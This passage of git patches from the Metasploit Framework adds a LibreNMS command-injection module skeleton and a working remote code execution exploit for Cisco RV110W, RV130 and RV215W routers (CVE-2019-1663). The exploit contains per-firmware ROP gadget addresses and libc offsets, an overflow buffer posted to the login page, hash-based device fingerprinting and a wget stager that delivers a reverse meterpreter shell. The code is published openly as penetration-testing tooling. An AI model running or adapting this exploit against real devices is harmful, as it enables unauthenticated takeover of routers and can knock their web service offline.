a/modules/exploit/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb similarity index 100% rename from modules/exploit/multi/http/cisco_dcnm_upload_2019.rb rename to modules/exploits/multi/http/cisco_dcnm_upload_2019.rb From 61d5be5981b9ecce075f3f341c5ebe26f53168cb Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 17 Jul 2019 15:51:11 -0500 Subject: [PATCH 030/217] add module skeleton and check --- .../http/librenms_connectd_cmd_inject.rb | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 modules/exploits/linux/http/librenms_connectd_cmd_inject.rb diff --git a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb new file mode 100644 index 0000000000..83ed0f67f3 --- /dev/null +++ b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb @@ -0,0 +1,60 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LibreNMS Collectd Command Injection', + 'Description' => %q( + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eldar Marcussen', # Vulnerability discovery + 'Shelby Pace' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-10669' ], + [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] + ], + 'Payload' => { }, + 'Targets' => [ [ 'Linux', { } ] ], + 'DisclosureDate' => "2019-07-15", + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]) + ]) + end + + def check + res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path) + return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms') + + about_res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php') + ) + + return Exploit::CheckCode::Detected unless about_res && about_res.code == 200 + + version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/) + return Exploit::CheckCode::Detected unless version && version.length > 1 + vprint_status("LibreNMS version #{version[1]} detected") + version = Gem::Version.new(version[1]) + + return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50') + end + + def exploit + end +end From 18f7ae379bb8b77a69de61bd7b16ad629c239328 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 27 Jul 2019 10:45:31 +0200 Subject: [PATCH 031/217] Add support for RV110W and RV215W + check method to fingerprint devices. --- .../linux/http/cisco_rv130_rmi_rce.rb | 271 ++++++++++++++++-- 1 file changed, 253 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 6681870146..0bb19f9b33 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -21,18 +21,21 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution', + 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', 'Description' => %q{ - A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router - could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, + Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router + could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. - The vulnerability is due to improper validation of user-supplied data in the web-based management interface. - An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + The vulnerability is due to improper validation of user-supplied data in the web-based management interface. + An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. - A successful exploit could allow the attacker to execute arbitrary code on the underlying operating - system of the affected device as a high-privilege user. + A successful exploit could allow the attacker to execute arbitrary code on the underlying operating + system of the affected device as a high-privilege user. + RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition. @@ -46,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'Platform' => %w[linux], - 'Arch' => [ARCH_ARMLE], + 'Arch' => [ARCH_ARMLE, ARCH_MIPSLE], 'SessionTypes' => %w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox @@ -62,10 +65,71 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', + # TODO: set default payload based on target ? 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', }, 'Targets' => [ + [ 'Cisco RV110W 1.1.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af06000, + 'libcrypto_base_addr' => 0x2ac01000, + 'system_offset' => 0x00050d40, + 'got_offset' => 0x0009d560, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af08000, + 'libcrypto_base_addr' => 0x2ac03000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.0.10', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af09000, + 'libcrypto_base_addr' => 0x2ac04000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.1.4', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af54000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.1.7', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af98000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset' => 446, @@ -74,6 +138,78 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, + }, + ], + [ 'Cisco RV215W 1.1.0.5', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.1.0.6', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.2.0.14', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a001, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.2.0.15', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.3.0.7', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afeb000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.3.0.8', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afee000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, } ], ], @@ -85,19 +221,39 @@ class MetasploitModule < Msf::Exploit::Remote )) end - def p(offset) - [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse + def p(lib, offset) + [(lib + offset).to_s(16)].pack('H*').reverse end def prepare_shellcode(cmd) - #All these gadgets are from /lib/libc.so.0 - shellcode = rand_text_alpha(target['offset']) + # filler - p(target['gadget1']) + - p(target['system_offset']) + # r2 - rand_text_alpha(4) + # r6 - p(target['gadget2']) + # pc - cmd - shellcode + case target + # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 + # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 + when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] + shellcode = rand_text_alpha(target['offset']) + # filler + rand_text_alpha(4) + # $s0 + rand_text_alpha(4) + # $s1 + rand_text_alpha(4) + # $s2 + rand_text_alpha(4) + # $s3 + p(target['libc_base_addr'], target['system_offset']) + # $s4 + rand_text_alpha(4) + # $s5 + rand_text_alpha(4) + # $s6 + rand_text_alpha(4) + # $s7 + rand_text_alpha(4) + # $s8 + p(target['libcrypto_base_addr'], target['gadget1']) + # $ra + p(target['libc_base_addr'], target['got_offset']) + + rand_text_alpha(28) + + cmd + shellcode + when targets[5] # RV130/RV130W + shellcode = rand_text_alpha(target['offset']) + # filler + p(target['libc_base_addr'], target['gadget1']) + + p(target['libc_base_addr'], target['system_offset']) + # r2 + rand_text_alpha(4) + # r6 + p(target['libc_base_addr'], target['gadget2']) + # pc + cmd + shellcode + end end def send_request(buffer) @@ -122,6 +278,85 @@ class MetasploitModule < Msf::Exploit::Remote end end + def check + + # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. + # We use lang_pack/EN.js because it's the one file that changes the most between versions. + # Note that it's not a smoking gun given that some branches keep the exact same files in /www + # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) + + fingerprints = { + "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { + "version" => "Cisco RV110W 1.1.0.9", + "status" =>Exploit::CheckCode::Vulnerable + }, + "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { + "version" => "Cisco RV110W 1.2.0.9", + "status" => Exploit::CheckCode::Vulnerable + }, + "134ee643ec877641030211193a43cc5e93c96a06" => { + "version" => "Cisco RV110W 1.2.0.10", + "status" => Exploit::CheckCode::Vulnerable + }, + "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { + "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { + "version" => "Cisco RV130/RV130W 1.0.0.21", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b1a87b752d11c5ba97dd80d6bae415532615266" => { + "version" => "Cisco RV130/RV130W 1.0.1.3", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b6399842ef69cf94409b65c4c61017c862b9d09" => { + "version" => "Cisco RV130/RV130W 1.0.2.7", + "status" => Exploit::CheckCode::Vulnerable + }, + "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { + "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", + "status" => Exploit::CheckCode::Vulnerable + }, + "8c8e05de96810a02344d96588c09b21c491ede2d" => { + "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { + "version" => "Cisco RV215W 1.1.0.5", + "status" => Exploit::CheckCode::Vulnerable + }, + "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { + "version" => "Cisco RV215W 1.1.0.6", + "status" => Exploit::CheckCode::Vulnerable + }, + "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { + "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", + "status" => Exploit::CheckCode::Vulnerable + }, + "050d47ea944eaeadaec08945741e8e380f796741" => { + "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + } + } + + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'lang_pack/EN.js') + }) + if res and res.code == 200 + fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") + if fingerprints.key?(fingerprint) + print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") + return fingerprints[fingerprint]["status"] + else + print_status("Couldn't reliably fingerprint the target.") + end + end + Exploit::CheckCode::Unknown + end + def exploit print_status('Sending request') execute_cmdstager From 413da527ab94e03ce4c4ac74e8a6939195d50c16 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 27 Jul 2019 10:47:58 +0200 Subject: [PATCH 032/217] Module renaming. --- .../linux/http/cve_2019_1663_cisco_rmi_rce.rb | 385 ++++++++++++++++++ 1 file changed, 385 insertions(+) create mode 100644 modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb new file mode 100644 index 0000000000..0bb19f9b33 --- /dev/null +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -0,0 +1,385 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# linux/armle/meterpreter/bind_tcp -> segfault +# linux/armle/meterpreter/reverse_tcp -> segfault +# linux/armle/meterpreter_reverse_http -> works +# linux/armle/meterpreter_reverse_https -> works +# linux/armle/meterpreter_reverse_tcp -> works +# linux/armle/shell/bind_tcp -> segfault +# linux/armle/shell/reverse_tcp -> segfault +# linux/armle/shell_bind_tcp -> segfault +# linux/armle/shell_reverse_tcp -> segfault +# +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', + 'Description' => %q{ + A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, + Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router + could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + + The vulnerability is due to improper validation of user-supplied data in the web-based management interface. + An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + + A successful exploit could allow the attacker to execute arbitrary code on the underlying operating + system of the affected device as a high-privilege user. + + RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. + RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. + + Note: successful exploitation may not result in a session, and as such, + on_new_session will never repair the HTTP server, leading to a denial-of-service condition. + }, + 'Author' => + [ + 'Yu Zhang', # Initial discovery (GeekPwn conference) + 'Haoliang Lu', # Initial discovery (GeekPwn conference) + 'T. Shiomitsu', # Initial discovery (Pen Test Partners) + 'Quentin Kaiser ' # Vulnerability analysis & exploit dev + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[linux], + 'Arch' => [ARCH_ARMLE, ARCH_MIPSLE], + 'SessionTypes' => %w[meterpreter], + 'CmdStagerFlavor' => %w{ wget }, + 'Privileged' => true, # BusyBox + 'References' => + [ + ['CVE', '2019-1663'], + ['BID', '107185'], + ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], + ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] + ], + 'DefaultOptions' => { + 'WfsDelay' => 10, + 'SSL' => true, + 'RPORT' => 443, + 'CMDSTAGER::FLAVOR' => 'wget', + # TODO: set default payload based on target ? + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + }, + 'Targets' => + [ + [ 'Cisco RV110W 1.1.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af06000, + 'libcrypto_base_addr' => 0x2ac01000, + 'system_offset' => 0x00050d40, + 'got_offset' => 0x0009d560, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af08000, + 'libcrypto_base_addr' => 0x2ac03000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.0.10', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af09000, + 'libcrypto_base_addr' => 0x2ac04000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.1.4', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af54000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV110W 1.2.1.7', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af98000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV130/RV130W < 1.0.3.45', + { + 'offset' => 446, + 'libc_base_addr' => 0x357fb000, + 'system_offset' => 0x0004d144, + 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; + 'gadget2' => 0x00041308, # mov r0, sp; blx r2; + 'Arch' => ARCH_ARMLE, + }, + ], + [ 'Cisco RV215W 1.1.0.5', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.1.0.6', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.2.0.14', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a001, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.2.0.15', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af5f000, + 'libcrypto_base_addr' => 0x2ac5a000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.3.0.7', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afeb000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + [ 'Cisco RV215W 1.3.0.8', + { + 'offset' => 77, + 'libc_base_addr' => 0x2afee000, + 'libcrypto_base_addr' => 0x2aca5000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x000a0530, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + } + ], + ], + 'DisclosureDate' => 'Feb 27 2019', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SERVICE_DOWN, ], + }, + )) + end + + def p(lib, offset) + [(lib + offset).to_s(16)].pack('H*').reverse + end + + def prepare_shellcode(cmd) + case target + # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 + # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 + when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] + shellcode = rand_text_alpha(target['offset']) + # filler + rand_text_alpha(4) + # $s0 + rand_text_alpha(4) + # $s1 + rand_text_alpha(4) + # $s2 + rand_text_alpha(4) + # $s3 + p(target['libc_base_addr'], target['system_offset']) + # $s4 + rand_text_alpha(4) + # $s5 + rand_text_alpha(4) + # $s6 + rand_text_alpha(4) + # $s7 + rand_text_alpha(4) + # $s8 + p(target['libcrypto_base_addr'], target['gadget1']) + # $ra + p(target['libc_base_addr'], target['got_offset']) + + rand_text_alpha(28) + + cmd + shellcode + when targets[5] # RV130/RV130W + shellcode = rand_text_alpha(target['offset']) + # filler + p(target['libc_base_addr'], target['gadget1']) + + p(target['libc_base_addr'], target['system_offset']) + # r2 + rand_text_alpha(4) + # r6 + p(target['libc_base_addr'], target['gadget2']) + # pc + cmd + shellcode + end + end + + def send_request(buffer) + begin + send_request_cgi({ + 'uri' => '/login.cgi', + 'method' => 'POST', + 'vars_post' => { + "submit_button": "login", + "submit_type": "", + "gui_action": "", + "wait_time": 0, + "change_action": "", + "enc": 1, + "user": rand_text_alpha_lower(5), + "pwd": buffer, + "sel_lang": "EN" + } + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end + + def check + + # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. + # We use lang_pack/EN.js because it's the one file that changes the most between versions. + # Note that it's not a smoking gun given that some branches keep the exact same files in /www + # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) + + fingerprints = { + "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { + "version" => "Cisco RV110W 1.1.0.9", + "status" =>Exploit::CheckCode::Vulnerable + }, + "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { + "version" => "Cisco RV110W 1.2.0.9", + "status" => Exploit::CheckCode::Vulnerable + }, + "134ee643ec877641030211193a43cc5e93c96a06" => { + "version" => "Cisco RV110W 1.2.0.10", + "status" => Exploit::CheckCode::Vulnerable + }, + "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { + "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { + "version" => "Cisco RV130/RV130W 1.0.0.21", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b1a87b752d11c5ba97dd80d6bae415532615266" => { + "version" => "Cisco RV130/RV130W 1.0.1.3", + "status" => Exploit::CheckCode::Vulnerable + }, + "9b6399842ef69cf94409b65c4c61017c862b9d09" => { + "version" => "Cisco RV130/RV130W 1.0.2.7", + "status" => Exploit::CheckCode::Vulnerable + }, + "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { + "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", + "status" => Exploit::CheckCode::Vulnerable + }, + "8c8e05de96810a02344d96588c09b21c491ede2d" => { + "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + }, + "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { + "version" => "Cisco RV215W 1.1.0.5", + "status" => Exploit::CheckCode::Vulnerable + }, + "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { + "version" => "Cisco RV215W 1.1.0.6", + "status" => Exploit::CheckCode::Vulnerable + }, + "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { + "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", + "status" => Exploit::CheckCode::Vulnerable + }, + "050d47ea944eaeadaec08945741e8e380f796741" => { + "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", + "status" => Exploit::CheckCode::Unknown + } + } + + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'lang_pack/EN.js') + }) + if res and res.code == 200 + fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") + if fingerprints.key?(fingerprint) + print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") + return fingerprints[fingerprint]["status"] + else + print_status("Couldn't reliably fingerprint the target.") + end + end + Exploit::CheckCode::Unknown + end + + def exploit + print_status('Sending request') + execute_cmdstager + end + + def execute_command(cmd, opts = {}) + shellcode = prepare_shellcode(cmd.to_s) + send_request(shellcode) + end + + def on_new_session(session) + # Given there is no process continuation here, the httpd server will stop + # functioning properly and we need to take care of proper restart + # ourselves. + print_status("Reloading httpd service") + reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" + if session.type.to_s.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" + else + session.shell_command(reload_httpd_service) + end + ensure + super + end +end From 34c5277e4edf43c12103a44983243636c34ba37d Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 27 Jul 2019 10:49:59 +0200 Subject: [PATCH 033/217] Deprecate module. --- 